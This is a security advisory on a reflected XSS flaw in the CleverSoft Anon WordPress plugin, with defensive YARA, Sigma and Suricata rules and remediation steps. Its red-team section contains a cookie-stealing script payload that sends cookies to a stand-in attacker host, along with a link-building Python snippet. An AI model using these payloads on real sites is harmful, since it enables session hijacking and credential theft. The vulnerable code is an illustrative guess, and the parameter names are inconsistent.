CVE-2025-67620

Executive Summary

CVE-2025-67620 is a Reflected Cross-Site Scripting (XSS) vulnerability in the CleverSoft Anon WordPress plugin, affecting versions up to and including 2.2.10. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score of 7.1 (High) reflects the low complexity of exploitation and the potential for significant impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no official patch exists, organizations should consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High – Exploitation is straightforward and can be chained with social engineering.

Deep Dive & Mechanics

The vulnerability exists in the Anon plugin’s handling of URL parameters or form inputs that are reflected back to the user without proper sanitization or encoding. When a crafted URL containing malicious JavaScript is sent to a victim, the server echoes the payload in the response, causing the browser to execute it. The lack of output encoding in the plugin’s template or PHP files allows arbitrary script injection.

Root Cause: The plugin fails to use WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()) when rendering user-controlled data.

Attack Vector: An attacker crafts a malicious link such as:

https://victim-site.com/?anon_param=<script>alert('XSS')</script>

When the victim clicks the link, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (example from anon.php or similar):

<?php
echo $_GET['user_input'];
?>

Patched Code (hypothetical fix):

<?php
echo esc_html($_GET['user_input']);
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a WordPress instance with Anon plugin version 2.2.10.
2. Craft Payload: Create a URL with a reflected XSS payload:

   http://target-site.com/?anon_msg=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link via phishing email or social media.
4. Execute: Victim clicks the link; the script sends their cookies to the attacker’s server.

Example Exploit (Python):

import requests

target = "http://target-site.com/"
payload = "<script>alert('XSS')</script>"
url = f"{target}?anon_msg={payload}"
print(f"Send this link to victim: {url}")

Blue Team (Detection & Defense)

1. Monitor Logs: Look for unusual URL parameters containing <script>, onerror, or javascript:.
2. WAF Rules: Block requests with common XSS patterns.
3. User Training: Educate users not to click suspicious links.
4. Plugin Removal: Disable or remove the Anon plugin until a patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP requests with parameters containing <script>, %3Cscript%3E, or onerror= in the query string.
• Host: Unexpected JavaScript execution in browser console.
• File: Modified plugin files (e.g., anon.php) containing unescaped echo statements.
• Logs: Web server logs showing repeated requests with XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_67620_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting CleverSoft Anon plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67620"
    strings:
        $payload1 = "<script" nocase
        $payload2 = "onerror=" nocase
        $payload3 = "javascript:" nocase
        $param = "anon_msg" nocase
    condition:
        any of ($payload*) and $param
}

Sigma Rule

title: Reflected XSS Attempt Against CleverSoft Anon Plugin
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with XSS payloads in the anon_msg parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "anon_msg="
        c-uri|contains|any:
            - "<script"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67620 Reflected XSS Attempt"; flow:to_server; content:"anon_msg="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the CleverSoft Anon plugin from all WordPress installations.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests containing anon_msg= with script tags.
3. Long-term: Monitor the plugin’s official page for a patched version (e.g., 2.2.11 or higher). Apply the update as soon as it becomes available.
4. Code Fix: If you maintain the plugin, apply output escaping using WordPress functions like esc_html(), esc_attr(), or wp_kses().

Valters IT
Securing Digital Frontiers